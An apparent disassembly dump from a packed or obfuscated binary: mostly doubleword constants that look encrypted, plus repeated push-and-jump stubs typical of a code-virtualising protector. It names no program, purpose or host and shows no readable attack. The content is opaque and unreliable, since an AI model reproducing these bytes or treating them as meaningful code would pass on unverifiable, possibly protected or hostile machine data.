dd 4E2AE906h, 7468FFFBh, 0E9061B00h, 0FFFB4E20h, 1B023B68h
dd 4E16E906h, 0D668FFFBh, 0E9061B02h, 0FFFB4E0Ch, 1B042C68h
dd 4E02E906h, 2968FFFBh, 0E9061B05h, 0FFFB4DF8h, 91F38A6Bh
dd 97B02E6h, 93F5887Eh, 0F81FCE8h, 9DEF8E84h, 5C4EA81Eh
dd 0EBE4AF21h, 64473292h, 0E1CCB719h, 77742C9Ch, 23E4DA77h
dd 73CBBAA7h, 0C7DE9F86h, 0AD3A432Ah, 0FABBA51Eh, 1806DBA1h
dd 0A62C978Dh, 1C6CC26Bh, 25C211AFh, 539FFD49h, 79F019B3h
dd 299ECC8Dh, 7E0F1CA7h, 0A1331186h, 24436948h, 0EE9D544Dh
dd 0F84C70C3h, 0A7C56D0Eh, 0D4B2C13Bh, 0A7298285h, 1D0C6217h
dd 6BEC9A8Ch, 486Ch, 99245E00h, 25A6CCB1h, 1EAF3C8Bh, 64310D2Ah
dd 30AD3EDEh, 3A393009h, 3EDF1D3Ch, 0A3CA7FADh, 0DA605ECBh
dd 0FAB353E2h, 296C564Fh, 0BFA729DCh, 4247C32Fh, 0B66BECF8h
dd 0DDh, 0BDCDDA69h, 544DDD62h, 264C2558h, 0DE9F86A4h
dd 0B2CBC451h, 352C02ABh, 0D2CBB298h, 5E495037h, 604F561Fh
dd 6BC3BAB5h, 3898E5E0h, 430058EBh, 0F52A6747h, 0BF6AAD3Dh
dd 60F8B90h, 6550D630h, 13FAAD3Eh, 14F7A286h, 0E0994069h
dd 676910C9h, 0D5CCB19Ch, 7C6BBA76h, 53785482h, 0B71940B3h
dd 0D05FAE0Ah, 412041F6h, 3E382BADh, 0AD3C1C1Fh, 0B9A6CC7Dh
dd 0F2A390h, 8A800B7Dh, 1B84D1ADh, 6910AD3Ch, 233A432Ch
dd 674DC36Ah, 65FA07D0h, 9D31AACh, 0CCC10000h, 3C34DFB1h
dd 0CAC44F41h, 3E26D1B3h, 0D0C24D3Fh, 6E5CDBADh, 0EDDF9E94h
dd 80502D22h, 0EDDF9E95h, 72522B22h, 84D1AD9Ah, 10A723E2h
dd 99242DA5h, 1CD5CCB1h, 28553756h, 8BF2DDA8h, 85F8F19Ch
dd 89FD35DCh, 1D6CC43Bh, 0E20A300Eh, 9FCAB353h, 0DB791C06h
dd 0FF6FA729h, 0F7B2F773h, 0E9466BECh, 78000000h, 0C7DE9F86h
dd 2C35482Ah, 3EE3CC52h, 0A8F76ADh, 0B5C16F28h, 7AA20B4Eh
dd 2A03AAB3h, 641910BDh, 0EADE943Dh, 631A10BDh, 0C5B8AF3Ah
dd 0F63CF59Ch, 1E0D7057h, 1364310Dh, 685EAD3Eh, 721F4A15h
dd 3037FF7Eh, 7563043h, 0C1AD3E14h, 136E9079h, 70998299h
dd 206FC9CAh, 0C3732013h, 6F635425h, 0C0CF8E68h, 9CCDAD3Eh
dd 739F9DD5h, 23B353D4h, 8F2996F6h, 0FD3B340h, 8FAD4179h
dd 0CAC04DDAh, 0E6A3DACFh, 0D4B47D00h, 0D63A4329h, 0FA07B9D8h
dd 0D6891DD4h, 0BE000008h, 35E0B0CDh, 0C550403Dh, 27D2B2CBh
dd 0C34E3E3Fh, 5DDCACD1h, 0DE9F956Fh, 4F2E23EEh, 0DE9F927Dh
dd 512C23EEh, 0CCAAA77Fh, 0A723E18Dh, 8628960Fh, 0AAF7D9A4h
dd 1E47361Bh, 9994BF77h, 0EE770600h, 5201EE47h, 9E10427Fh
dd 6B12F7A2h, 0AE1C6CC2h, 51DE9F86h, 7CB2CBC4h, 0B55E6E5h
dd 35FBA085h, 0BAB5E096h, 0BC74C1C3h, 9A807E6Dh, 0C6B3531Eh
dd 332A5337h, 0BE6BB47Ah, 0C02AA231h, 0ED689A7Dh, 9E2D1A45h
dd 8AA95EF6h, 1E2D05C6h, 8B765627h, 43F8F3A4h, 0A31DE889h
dd 0C7E7D3CAh, 0E22E6F39h, 0DDC8E054h, 6A6530A0h, 0DEB08A13h
dd 0E42BEAF3h, 7B168FEEh, 33BEE796h, 38B63C41h, 0EF8778ACh
dd 927C0983h, 73BB72EBh, 4090EDD8h, 116C62F3h, 3A432A69h
dd 0AB431EADh, 263320Ch, 8312BEBh, 57AEA04Bh, 0F89E881Fh
dd 322BEADFh, 4110EEFDh, 532E92DEh, 0CE665026h, 0DEAECFB6h
dd 28413C33h, 0DED86DCBh, 2E92DEBFh, 0E6052CDDh, 0A80DC208h
dd 0B837E234h, 5418530Bh, 501A7F95h, 74F65759h, 2EA2D8A1h
dd 5BD827A1h, 9AFCEF5Bh, 435A0F3Ah, 92A23757h, 0AF43B32Eh
dd 55BA7633h, 48B82F3h, 37340000h, 0AD3EDF1Ah, 3EEF3859h
dd 0D3023BADh, 5001AD3Eh, 0B0AD3ECBh, 9B2AC918h, 87A4CAB3h
dd 80FDE994h, 0FC0A30E9h, 0B353E072h, 0B8E5E152h, 0E4A729D8h
dd 9018FC35h, 0CFC1015h, 753F195h, 4C410000h, 0BCB45F31h
dd 4A44CFC1h, 0BEA65133h, 5042CDBFh, 0EEDC5B2Dh, 6D5F1E14h
dd 0D0ADA2h, 6D5F1E15h, 0F2D2ABA2h, 4512D1Ah, 90A723E1h
dd 9924AD25h, 20D9D0ADh, 45543B5Ah, 9A39304Dh, 417DD32Ah
dd 94DD9408h, 3403E697h, 3E8E1B3Ah, 0A9D079ADh, 0BF79D6D1h
dd 0DBD28370h, 5F5FCCA2h, 0B359888Ch, 0E37281A8h, 5F168FEEh
dd 28413C32h, 36C5C971h, 0A2F14F9Eh, 3DADA985h, 5AE9AD39h
dd 0F6DC0255h, 1837DE87h, 99E014B5h, 7508EB9Ah, 0FADAC4BDh
dd 8A5C90D4h, 7650DF2Eh, 3E57538h, 56304330h, 3C37507h
dd 3B5AE495h, 5903C375h, 0B5F1F2CAh, 5A1331C0h, 0F9413C2Fh
dd 0FDEEFD2Ch, 0C2E25401h, 1A194003h, 0C2E27D1Ch, 44EA1F03h
dd 2372CE1Dh, 82661704h, 0C0C933FBh, 0E409D81Dh, 2007B635h
dd 8F3E6B5Dh, 0FF8EE499h, 179F7508h, 79556BD4h, 65B6E00h
dd 54390000h, 0F4DCA729h, 927C0789h, 0F6EE99EBh, 987A0587h
dd 5644E3E5h, 25A7D6BCh, 8808755Ah, 656716FDh, 0FACAB39Ah
dd 0C492522h, 88A723E0h, 6CC4A51Dh, 211D0E1Dh, 0AD3EDE74h
dd 611C1520h, 0ADE89148h, 9B0B9C4h, 60C6C031h, 88B353F6h
dd 0C7FE9B9Bh, 6B9EA729h, 0B6AF5AC3h, 2049341Bh, 0C6DF9E95h
dd 2B51462Bh, 0C1080016h, 0BDB5AC85h, 0A78FC32Fh, 0FDBB950Dh
dd 0A13241AEh, 0C0D800C3h, 17254D52h, 0AD3EF343h, 0DCD6B663h
dd 0AD3ECAB9h, 3ECA9BBAh, 6236C5ADh, 0C9FF4DDBh, 71CFBC72h
dd 0C6290522h, 0E2B35965h, 8542E37h, 73A72456h, 0A7245621h
dd 23F9846Bh, 3E06599h, 9A9C2EEBh, 0FA000005h, 99646419h
dd 11FCCCB1h, 9B666617h, 0FFACAB3h, 0D170601Dh, 324B41DBh
dd 0BBC2A752h, 324B3EC9h, 0BDC0A752h, 585653CBh, 0A723DF39h
dd 0C494EA5Bh, 2B52396Ch, 926C7B32h, 0AD3EDEC3h, 62D1A8D1h
dd 59D98F64h, 0C9CA79B3h, 58E35E9Eh, 99A0024Ch, 0EB423E47h
dd 362FDA43h, 2AC9B49Bh, 971A499h, 6825A96Ah, 0AD64FD80h
dd 0FDB40185h, 1ECF8E68h, 9CCDA724h, 0DF86F7F1h, 0CB66FF36h
dd 4C3799E4h, 86851C61h, 0F36A13F7h, 930A7356h, 0B0DB93DAh
dd 0BEA1C8B5h, 640D06B5h, 60FA25A2h, 0F0089C1Ah, 1B0888F5h
dd 0B9B5826Ah, 0A7243B9Ch, 522851F8h, 0E757CADFh, 1612E6Bh
dd 54010000h, 7759215Ch, 0E1D6CC4h, 540DDA30h, 1969FAB3h
dd 0AE38AE40h, 815D042Dh, 0A7291FD2h, 0B28C189Eh, 4E28C716h
dd 0AD3E4F88h, 681375A4h, 0CC69007Dh, 0FF2C9CE1h, 0DBDB5C4Eh
dd 0AD3E4EBEh, 45022BDEh, 6BE1204Ch, 83502667h, 7D7976C5h
dd 0B353D3D1h, 39253CEDh, 0A729C318h, 3F32E3D0h, 0C86E273Eh
dd 0EDBA36AEh, 0AC6BECDAh, 1C522B21h, 456Ch, 6CC45E00h
dd 91162037h, 2059E21Eh, 77262013h, 25AD3E5Bh, 0B7259F4h
dd 9693DB92h, 535FA298h, 181742B3h, 4FFA836Dh, 534E2459h
dd 0C0BDA954h, 0BC4AF0A9h, 0A7295E99h, 0D753DF4Fh, 6BEC7AD2h
dd 9726h, 9F869800h, 482AC7DEh, 0A6A12C35h, 4C43CED7h
dd 1655F31h, 0E9AD3EE4h, 0DA5DFCFAh, 0A3FAD3Eh, 3F3E2964h
dd 0F948004Dh, 8264FCFAh, 1940B356h, 0F4896B1Ah, 98A44F7h
dd 0DF37221h, 87346165h, 0E9EDFCA4h, 77165C28h, 9E74E895h
dd 12FC1247h, 3D3F397h, 0CCC10000h, 3C34DFB1h, 0CAC44F41h
dd 3E26D1B3h, 0D0C24D3Fh, 6E5CDBADh, 0EDDF9E94h, 80502D22h
dd 0EDDF9E95h, 72522B22h, 84D1AD9Ah, 10A723DCh, 97242DA5h
dd 0B9004FAFh, 2F5E143Dh, 0C550403Dh, 63D1B3CAh, 51DE9F86h
dd 0B6AFCEC4h
dd 0A53037FFh, 83FAEFAAh, 376CDAAAh, 0AD3F5F16h, 3E5F3C5Dh
dd 1D6CC4ADh, 58BB300Eh, 30D9B359h, 0F5EDA39h, 6AC42620h
dd 11BCAD39h, 0F28B7F1Ah, 0C36B223Bh, 0D08D695Ah, 0CCAD2F62h
dd 7A3975B7h, 4D24BEA9h, 0BD403024h, 55CCFA0Ah, 338B1h
dd 6775C00h, 6617FB86h, 0C8B59B66h, 2C513DC8h, 0C2BBB15Ch
dd 9B7563C2h, 39C4C4B9h, 0B05B2D50h, 39C4C4B9h, 0C55D2F4Eh
dd 0DCAFEEC8h, 78EDA723h, 0DE9F860Ah, 3A432AC7h, 91C0BEADh
dd 3AD3EDEh, 0BD492670h, 0E990CF35h, 38903D91h, 876E1203h
dd 46EFE388h, 7581CDA9h, 6C9DB353h, 644809F5h, 16A0A729h
dd 7D65229Eh, 87346BECh, 0FC1A7795h, 0ADE1990Eh, 3Eh, 376CC41Fh
dd 0BB503B5Fh, 1F5E52DEh, 0CFA6CF86h, 5077B360h, 5BE72E08h
dd 22181613h, 8EB3535Eh, 0E5C678FDh, 0DB934D20h, 0F4CED782h
dd 0A729A1A1h, 0BF3BA747h, 6BECBDEAh, 0E50Eh, 9F86C000h
dd 482AC7DEh, 1F07B635h, 491185Eh, 0E9949009h, 0B690A390h
dd 0AD3EDEE7h, 0D38CF1E3h, 0DAD9D0A6h, 0DEB0EDC9h, 3DECAD3Eh
dd 2A6F56F5h, 862F3647h, 7FE3DDAFh, 6BAD3EE3h, 0E38BF2DAh
dd 33C0BDA8h, 0AAD0ADA2h, 9745B26h, 73A559EAh, 7E22290Ah
dd 0E6A57530h, 0F33B85DAh, 52A11F6Ch, 7D59D9D5h, 0BC49B353h
dd 17B2ABD2h, 4C224B32h, 0D9666613h, 3C412C5Fh, 0DBA28825h
dd 0B620BC2h, 2374221Ch, 0F920AD41h, 14694BFAh, 0F9846617h
dd 1D71C970h, 17FD8072h, 0FA07DF67h, 0E28E20D9h, 0B2000001h
dd 41CCBCC1h, 0A9543449h, 43CEBEBFh, 0A752324Bh, 59D8B8C5h
dd 0DAA38963h, 532A1FEAh, 0DAA38671h, 55281FEAh, 0D0AE9B73h
dd 0A723DA81h, 862CA213h, 495AD9A4h, 3EDF306Dh, 75BD6CADh
dd 0FE7F6611h, 6CC4408Eh, 5E495039h, 0A64F561Fh, 0E06660CFh
dd 0FCB353E2h, 3A2FDE4Dh, 0D6731A43h, 0BAE58DF0h, 29DBADE0h
dd 8B383BA7h, 0C6263661h, 0ED87AFF4h, 44B0F975h, 0C1486BECh
dd 7A000000h, 0C7DE9F86h, 2C35482Ah, 59A8C3Fh, 1AEE9FF1h
dd 4474EA54h, 0E7DEAD3Eh, 0EC9996h, 52DE47Dh, 6E0FF681h
dd 0D12098F7h, 46D26462h, 5702B353h, 14C2BD8h, 0B40C615Dh
dd 0A5CDB099h, 0E91C9421h, 2CE57C01h, 7557E605h, 0D8D46108h
dd 85A6CCA5h, 40898EA9h, 101F4AADh, 1EE8F85h, 0ADF0DA52h
dd 2E487533h, 16ACDB57h, 8FE8B6Bh, 0ED45EC75h, 81FCEE99h
dd 709D99Bh, 3CCE4BFAh, 0E5h, 0CDBFBEAFh, 5D2F4E42h, 0CFC1BCB2h
dd 53354844h, 0C9BBC2A8h, 0B0A27C6Ah, 1710FBCDh, 0B89B6666h
dd 4D38C3C5h, 0CBC86030h, 23D9AEEBh, 777EEA7h, 0CCB19924h
dd 37561CD5h, 0DDA82855h, 8B398BF2h, 0C7DE9F86h, 4A3A432Ah
dd 0C6B7B05Dh, 56A52370h, 0D916DDD9h, 0EDFEB359h, 23E44411h
dd 512950A7h, 0B13C6514h, 3AC5C7B6h, 47332A53h, 0BED02648h
dd 859D159Fh, 611C0F8Ah, 0E8E89148h, 524B321Dh, 41AECFB7h
dd 0B5E09D94h, 0EEA7BEBFh, 9D942148h, 0C26B12FCh, 66170E9Bh
dd 3138452Bh, 0B4D1ACA4h, 0F93E7202h, 0E2CDE57Dh, 0A018C9Bh
dd 40CBBB73h, 0ABB3845h, 0C14E5726h, 0E8779362h, 30062F48h
dd 0E5893A39h, 0AEC4AA66h, 16C389B1h, 0ED000000h, 0D0AD9924h
dd 695A20D9h, 0B6FE893Ah, 0ACBBD593h, 0BB73BAC3h, 0D8A586CDh
dd 344944D1h, 0D4A9A02Dh, 364740CDh, 0CDB0A22Fh, 2A5339D4h
dd 0CFAE9633h, 28553BD6h, 81FCF481h, 895304E8h, 4C381E3h
dd 83000000h, 1C3304EBh, 241C3124h, 5C241C33h, 81E38953h
dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 7668241Ch, 8900006Dh
dd 0B9512404h, 73F4434h, 0DBB6B1BBh, 8BCB01FEh, 0C483240Ch
dd 48B5404h, 4C48324h, 89DD8955h, 2C8B0868h, 4C48124h
dd 8B000000h, 89502404h, 405E0h, 0C0830000h, 24048704h
dd 241C8B5Ch, 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch
dd 0FFFB4220h, 8F23D82Ch, 68CB9446h, 1B0633B8h, 0FFC50306h
dd 96FC3AE0h, 1966C127h, 67BA661Fh, 0CC59F23Eh, 9AB47B4Dh
dd 0F375BF5Ch, 0DAE944h, 0F01C0000h, 9CD76EDBh, 0C8C3CA45h
dd 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh
dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h
dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h
dd 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h
dd 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h
dd 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh
dd 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh
dd 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h
dd 0
dd 9D744700h, 99E0E312h, 5Eh, 8 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5DB5DF
; ---------------------------------------------------------------------------
push 61B099Ch
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B0AA1h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B0B5Fh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B0CFEh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B0D83h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B0E4Ah
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B0EDAh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B0F57h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B1013h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B114Fh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B122Dh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B136Eh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B1467h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B15BBh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B16DEh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B1886h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B1943h
jmp loc_581882
; ---------------------------------------------------------------------------
db 98h
dd 58C7AE1Eh, 978C69D9h, 60CFA616h, 8EA570E0h, 0C2D9BC2Ch
dd 0E454D6C9h, 2D9D2211h, 0E959DB48h, 2494170Ch, 0ED588651h
dd 169DFAA4h, 2476C647h, 0D59B5FC7h, 2ED4970Ah, 0A41F3D01h
dd 1086137Dh, 0D13B2F00h, 0C0FDCA0Bh, 3D1A8AE8h, 0A2BCB061h
dd 86FFFE23h, 0BEAC7D10h, 977EEE4Dh, 1F3F6F0Fh, 9BF66CA4h
dd 0F620F116h, 0FAC52F28h, 7ECFD64h, 9342153Ch, 0E8C7D816h
dd 427AA302h, 8C031693h, 0CDC52821h, 274B9DBDh, 5F000000h
dd 3DB0BABh, 9BF5F040h, 7ABC8D16h, 93F1D2FBh, 0C9F49B16h
dd 3BAB0829h, 2D6802FBh, 9DBD1CC0h, 0C448h, 0C7246400h
dd 0C92A8757h, 8A605D59h, 0A313978Ch, 8DFD7E73h, 0AB1B9889h
dd 0F788E7CAh, 21A21086h, 8FA81895h, 0AE814BE2h, 4B2A05DBh
dd 0E151B2FFh, 132D8B5h, 96241282h, 19ACB2E2h, 169CE471h
dd 5C4A2BFCh, 80F0509Ch, 64CD8FAFh, 0ADA29404h, 9307D1F8h
dd 3EAE0F16h, 83D9B182h, 8B697FC0h, 112DFE10h, 6332A220h
dd 1FFE6ECCh, 0B1BDAD7Ah, 4373CFE5h, 0C0000011h, 0F03FD646h
dd 0DF542191h, 1807EE5Eh, 0D64D2898h, 9A11E454h, 0AC1C9E11h
dd 65D55AC9h, 0B121A390h, 7CEC4FE4h, 0A5202E99h, 169DFB7Ch
dd 24BE7EFFh, 2B8856C6h, 635C5ACAh, 7562EC87h, 9FB54D16h
dd 7AFD3673h, 57330C0Ah, 0CE959DAh, 0DB0BAB20h, 0F5F04003h
dd 0BC8D169Bh, 0C33391A2h, 2610FAD3h, 93F17E9Fh, 1D900716h
dd 0EE5EDCD5h, 0B1F3DFA8h, 511670F2h, 48B8357Eh, 1A99714Eh
dd 9DBDCD8Fh, 0B815h, 0C724F100h, 0F0525F57h, 6BC89680h
dd 0AFA09606h, 0F793E0BBh, 6BC81086h, 0A09D9909h, 7AEA49CAh
dd 94407364h, 87F51067h, 189B88E3h, 3CFC6EA8h, 8001320Ch
dd 0FAE47A10h, 0B2D438DDh, 861BCE13h, 0BB9CAD10h, 0E08ACF1Bh
dd 9CD51DC5h, 26CFE016h, 6EDB3324h, 0C3FDE282h, 9DCD7127h
dd 665602C1h, 1627108Bh, 1787EB48h, 1A8AEA47h, 0AC0E2570h
dd 1D32A220h, 0BDA6D180h, 20A492B1h, 103Eh, 1CF969C5h
dd 6332A207h, 740171CCh, 2CC939BFh, 720373F7h, 0B73B7635h
dd 0FE81AE47h, 0BC38E78Eh, 0F97AA94Ch, 0F3DBEC89h, 9DF80950h
dd 0C973F416h, 0BF56C624h, 0D2A31370h, 57C72466h, 81F1525Fh
dd 4EBE3FF4h, 68D85B48h, 0C42D248Dh, 4BFAC4F4h, 169BFBC7h
dd 0BA0995A6h, 0E042A92h, 0D343C0F1h, 8DBD8137h, 297212B1h
dd 0BBA1EB03h, 32AEC108h, 2A9A1F13h, 9CAD13ECh, 5FDDCAEEh
dd 0F9D6A7EFh, 5B8B2BBDh, 0A7EA5983h, 461332AEh, 4BF9575h
dd 152B3805h, 3A774758h, 544D49B9h, 9E4C63D3h, 0B0189B98h
dd 0C5040859h, 26CFE0FFh, 8FEE7AF9h, 0B86D301Fh, 0AFB41E85h
dd 0F803DC5h, 3830000h, 0CC2D0293h, 0B6AB95Ch, 0C325FA9Bh
dd 0D6DC253h, 0E8A3F89Dh, 30C535B5h, 690C7C03h, 2BCA3ABAh
dd 6E0777F4h, 87CA7965h, 66169DF9h, 0C72497A5h, 25D95F57h
dd 0BEF3E9F5h, 8520CA3Ah, 169C0A4Dh, 0CC15B0AEh, 0AF1693EAh
dd 0ACCEC9Eh, 93EA163Bh, 0CFC4D516h, 0C7B8FE6Eh, 5DDDD6E8h
dd 36D4A9EDh, 7FAF4F57h, 0B3347D5Fh, 397A5343h, 3A248B8h
dd 1089386Fh, 0B98C528Ch, 1CACB590h, 0B6DB4A5Bh, 0D31CACB5h
dd 0ACB52970h, 5DC3D41Ch, 29FA9E4Ch, 31A11C15h, 0B4620805h
dd 0F666C9EAh, 801BCFC0h, 1CACB55Dh, 981F142Ah, 7911EE28h
dd 2FBA8F3Eh, 0B5A3D261h, 6Fh, 0DE624FD1h, 0FFF496Eh, 0FABD630Eh
dd 0A6D6AA10h, 0CB022D98h, 72BF169Ch, 8EFE820Eh, 0F29875A1h
dd 21EF05CEh, 658F5CCEh, 0B83F744Ah, 99714E48h, 9E0E6EC3h
dd 0DF5E53F7h, 0C948EA77h, 90BF3724h, 0E2C1A9A6h, 16934CBDh
dd 40C04CAFh, 3416FFD0h, 4C769B2Ah, 24F51693h, 0D3AA3413h
dd 0ED9DD206h, 6650C03Ch, 0E5DDEh, 56D7DC00h, 4F1004E6h
dd 0EE8ACF86h, 9C3C7E2h, 0F58FA829h, 0B4DE8CC1h, 3B0AD404h
dd 16A115ECh, 2F845A6Bh, 6AB95CCCh, 0B9D9909h, 0A0233B6Bh
dd 10BA0A6Eh, 0B300DEEFh, 0DEE050h, 0B0081C45h, 1FFA761Ch
dd 0EBADF4DBh, 0E7866435h, 0EB5ABB38h, 1CB040A6h, 5B5B7445h
dd 0E5F929CDh, 868CDEF7h, 0B6632F1Dh, 83A5E9D4h, 5B481AAAh
dd 5D3264D4h, 0BCE4AB72h, 7D77AB9Fh, 0DE1F5h, 34A42200h
dd 0FF6FD261h, 3CAC0916h, 0F666CA59h, 42B2101Fh, 0FCB7F4B3h
dd 0B8670E7Eh, 12EC737h, 0AD821383h, 8C37DE4Eh, 0FEDE03C2h
dd 0DC9D169Dh, 0F297B660h, 0B0501086h, 93A0BE80h, 8E77BF2Fh
dd 0F8AF511Eh, 7A103F49h, 0A18A194Bh, 94CFD816h, 5D3E3337h
dd 8FA4BA95h, 75D9BC2Ch, 19DD9460h, 0B654EFD1h, 9086F675h
dd 1826562Ah, 1A8AED46h, 5C47231Ch, 1087D724h, 340598A9h
dd 2BB1BA5Ah, 0D5CA909h, 47A70000h, 90F13ED7h, 5FDE5520h
dd 971906EFh, 61E14E27h, 48724F1h, 0DCB92989h, 0A570E047h
dd 0D7BE2E8Eh, 9A7BEB48h, 7B9E2529h, 2169DFFh, 0C724BB81h
dd 0F1525F57h, 0B4A69581h, 1371FD7Fh, 0BD8A8CA3h, 95CBB758h
dd 67032C67h, 61CC7D30h, 0E797A8B0h, 876h, 0EA0BABC3h
dd 86F2365Bh, 0CBE4B510h, 0F90950F3h, 23F416A1h, 2191161Bh
dd 759C27F5h, 0F8169DF5h, 0DC620827h, 11E454D7h, 37B6084Dh
dd 85426E57h, 5FC724E5h, 0A294EF15h, 7DF83B12h, 91F4220Dh
dd 169DE84Ch, 19255529h, 42289818h, 3CF5E2FCh, 90C79F10h
dd 62D2555Eh, 14AF5B34h, 1087A7DCh, 86F674A1h, 88FDD4A9h
dd 5066B1BAh, 0C95F4h, 0A0106E00h, 6BDB5ED5h, 0A818958Ah
dd 62D256CDh, 0AE1E9C93h, 0E8DBD0C7h, 0A47B1A8Ah, 0ED42D343h
dd 0A9761F8Fh, 883BDA4Ah, 0FCDAFFC6h, 0E0A1169Dh, 57C7245Ch
dd 81F1525Fh, 0A00FA695h, 0A81E44A9h, 7C0CC97h, 0B6E00000h
dd 1086F297h, 0BE80B050h, 0F2FC25A0h, 0AE7F1086h, 0C6CB7ABCh
dd 0A516A1F9h, 9F94CA94h, 4FBCAE1Eh, 8A997CECh, 0EB7DB929h
dd 80431B4Bh, 10870D48h, 1C8CE815h, 0ED5E8342h, 0C1D1CB6h
dd 31015A23h, 0D0E6B1BBh, 0C0574h, 1080FE00h, 0DB4BAE85h
dd 1888E53Ah, 0D242A67Dh, 1E8EEC43h, 386B2077h, 74AB4ABAh
dd 3DF283F3h, 79A64FBFh, 0D8EB8AFAh, 0FC0A4FF6h, 70F1169Dh
dd 57C724CCh, 81F1525Fh, 0A00FA695h, 0A81E44A9h, 730CC97h
dd 0ABE00000h, 4003DB0Bh, 16A1F9A4h, 0E656DAD7h, 8B2BDFB0h
dd 2C8FA4BAh, 0E94AD9BCh, 97B63D79h, 50169DF5h, 7BE80B0h
dd 10870DD3h, 81F4899Ah, 5AB1BB31h, 0B88D85Ch, 0FB7B0000h
dd 0B435EA8Bh, 382B144h, 0CB2D0293h, 565BA5Bh, 0E0AB0095h
dd 38DD4DADh, 811484EBh, 13E252B2h, 462F9F1Ch, 0AFF2517Dh
dd 4E169DFDh, 864F6FCDh, 5EE54FC4h, 74B5554Dh, 0A28F87F7h
dd 7685B121h, 1122D0FFh, 7A5343B3h, 78982590h, 0A32097A8h
dd 0FC000006h, 86F292B6h, 71A15510h, 79E9446Dh, 8FF8CB91h
dd 0CE16A1F9h, 0FA10390Ch, 0CADB169Dh, 5BD8D9E5h, 96150AEBh
dd 0A11CA80Ah, 27181E31h, 36283608h, 9DFA4A8Fh, 0C5603116h
dd 169DFA9Ch, 0E2454E5Fh, 0C9E9872h, 7EA5446Ch, 6CEFD908h
dd 0B6367B43h, 3392A446h, 1080E87Fh, 0D7502DFEh, 8B1BB2Eh
dd 0ACC86EEh, 0B7370000h, 81AE47h, 0CF2E0590h, 769B65Fh
dd 0D131FE97h, 94179461h, 4C299919h, 15E050D7h, 472E9E1Eh
dd 0AEB5BD8h, 0EB2E95B9h, 92169DE2h, 0C7246BD1h, 587D5F57h
dd 1CEA0CC3h, 44C5A5ABh, 4A6777E7h, 4F4076E6h, 0DFD6719Bh
dd 0E454D7F0h, 0AC19A411h, 549F97A8h, 7B000001h, 5F57C724h
dd 0F481F152h
dd 42A6F2C6h, 62E1FDD2h, 169BFB2Eh, 0AC33084Dh, 833F62E1h
dd 0EDBE1693h, 0CE7B37CAh, 6BAB7C1Ch, 9376C508h, 0D807B216h
dd 0BDA20C71h, 3A949Dh, 0ABA80000h, 4003DB0Bh, 169BF5F0h
dd 947ABC8Dh, 2B8C189Fh, 0ADA294BBh, 0F1BFDEBDh, 0D1481693h
dd 1CFE6BDEh, 0CE869DBDh, 0C4000000h, 0E0DF3993h, 340316E2h
dd 8E1A6FBBh, 0BF73174Ah, 5F57C724h, 9680F052h, 68AE1E9Dh
dd 0B7D7B1A6h, 75B33876h, 0BFAB84F4h, 0F481F152h, 872092D1h
dd 0EF5FDC10h, 0B0E0A006h, 0F0F917AEh, 0B780169Eh, 1715E0B6h
dd 0BD81AE99h, 0D6FD249Fh, 0B780169Eh, 70DBB17Ch, 0AA406F3Bh
dd 3194CA94h, 169EB0E8h, 9BC8293h, 169EB0C0h, 43F09AABh
dd 79A64FBFh, 75F489F9h, 6EB7D30Eh, 990EC48h, 13730000h
dd 0DC5DD2A3h, 1B9A896Ch, 0D355CAABh, 1D9D9263h, 0D8D3C8ADh
dd 801585E5h, 39DC4CB3h, 7B1A8AEAh, 3ED747A4h, 0D7FAC995h
dd 96169DE3h, 0C62467D5h, 29B7B85Eh, 0D76EEAC4h, 1086E6B2h
dd 68476839h, 0F70C18Dh, 0C4A6979Fh, 0A174E447h, 0CF864F9Bh
dd 3882EE42h, 0A0C7CFFh, 0C3701A35h, 0CDE6D040h, 0ED5DE26Eh
dd 0FAD545A6h, 490951Bh, 0AB710000h, 365BEA0Bh, 0B51086F2h
dd 50F3CBE4h, 169BFC2Ch, 6FD6C0D1h, 1693F82Eh, 6551C140h
dd 3A7CEC4Ch, 3E0CF36h, 8CBDF0A7h, 9DBD2421h, 1C3A7h, 9CB68300h
dd 571086F2h, 66D65BA7h, 6E705F30h, 0A1F9EAD7h, 9EA07116h
dd 98A61695h, 0C2A8189Bh, 8FFF7CB3h, 2D5D2187h, 0F2FEB211h
dd 0AE7F1080h, 0BB464ECFh, 179B99B1h, 8B2h, 0F085F551h
dd 0A74EBE43h, 0E88DFD78h, 0B045B53Bh, 0E68FFF83h, 63C7FAB1h
dd 0AA0D22F3h, 68C45B3Ah, 0A5061DF8h, 67776035h, 9DE0B5DCh
dd 85B73816h, 5F57C724h, 9581F152h, 0DE14BBF2h, 0F21C4500h
dd 0F3521086h, 6BA9383h, 57D45535h, 8EFED7E7h, 25FC1F92h
dd 62EC8763h, 9383F351h, 58E5D0BAh, 0E097A835h, 120h, 57C724BCh
dd 58C82A87h, 0C6F84B2h, 0DB1F99Ch, 1DB01DDh, 86F21F42h
dd 0EACDDE10h, 76600049h, 207B6FC8h, 169B2EE8h, 1372A475h
